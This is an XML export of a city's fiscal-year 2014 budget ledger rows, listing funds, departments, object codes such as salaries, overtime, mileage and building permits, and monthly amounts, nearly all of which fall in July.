<row _id="4576"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1017524.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1017524.0</total></row>
<row _id="4577"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2522.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2522.0</total></row>
<row _id="4578"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>31621.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>31621.0</total></row>
<row _id="4579"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
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<row _id="4581"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="4582"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="4583"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>212</division_id><division_name>R &amp; ES(CITY CLERK)-ELECTIONS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4494.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4494.0</total></row>
<row _id="4584"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>212</division_id><division_name>R &amp; ES(CITY CLERK)-ELECTIONS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3172.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3172.0</total></row>
<row _id="4585"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>401440.0</object><object_description>POLICE BILLABLE SERVICES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-462836.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-462836.0</total></row>
<row _id="4586"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>405300.0</object><object_description>DUI RESPONSE-ACCIDENT/INJURY</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-27358.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-27358.0</total></row>
<row _id="4587"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>400230.0</object><object_description>CONDOMINIUM TAX</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>-20000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-20000.0</total></row>
<row _id="4588"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1091.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1091.0</total></row>
<row _id="4589"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>40000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>40000.0</total></row>
<row _id="4590"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>9240.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9240.0</total></row>
<row _id="4591"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>12625.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12625.0</total></row>
<row _id="4592"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="4593"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="4594"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>200.0</total></row>
<row _id="4595"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>533230.0</object><object_description>SECURITY SYSTEMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1085.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1085.0</total></row>
<row _id="4596"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>523.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>523.0</total></row>
<row _id="4597"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7000.0</total></row>
<row _id="4598"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2051.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2051.0</total></row>
<row _id="4599"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>99.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>99.0</total></row>
<row _id="4600"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>209.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>209.0</total></row>
<row _id="4601"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>588080.0</object><object_description>OFFICE EQUIPMENT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="4602"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10392.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10392.0</total></row>
<row _id="4603"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>522050.0</object><object_description>MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>50000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>50000.0</total></row>
<row _id="4604"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>250.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>250.0</total></row>
<row _id="4605"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6683.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6683.0</total></row>
<row _id="4606"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>23500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>23500.0</total></row>
<row _id="4607"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5951.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5951.0</total></row>
<row _id="4608"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>212</division_id><division_name>R &amp; ES(CITY CLERK)-ELECTIONS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1010.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1010.0</total></row>
<row _id="4609"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>533110.0</object><object_description>SPECIAL EQUIPMENT-OPER SUPS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>70000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>70000.0</total></row>
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<row _id="4611"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>401920.0</object><object_description>FARMERS' MARKET</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-861000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-861000.0</total></row>
<row _id="4612"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>401180.0</object><object_description>DISP COUNSELING FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-5000.0</total></row>
<row _id="4613"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>404950.0</object><object_description>HOME INVESTMENT PARTNERSHIPS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-461670.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-461670.0</total></row>
<row _id="4614"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>400470.0</object><object_description>POLICE PERMITS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-12350.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-12350.0</total></row>
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<row _id="4616"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>400370.0</object><object_description>RESIDENTIAL BLDG REPORT</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-180000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-180000.0</total></row>
<row _id="4617"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>400500.0</object><object_description>BUILDING PERMITS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-2647050.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-2647050.0</total></row>
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<row _id="4677"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>70715.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>70715.0</total></row>
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<row _id="4683"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>566500.0</object><object_description>RECRUITING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>17425.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>17425.0</total></row>
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<row _id="4692"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>402630.0</object><object_description>WASTEWATER MISC NON-OPERATING</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1000.0</total></row>
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<row _id="4714"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>577410.0</object><object_description>SITE IMPROVEMENTS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8069.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8069.0</total></row>
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<row _id="4719"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>25625.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>25625.0</total></row>
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<row _id="4721"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>57657.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>57657.0</total></row>
<row _id="4722"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2318620.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2318620.0</total></row>
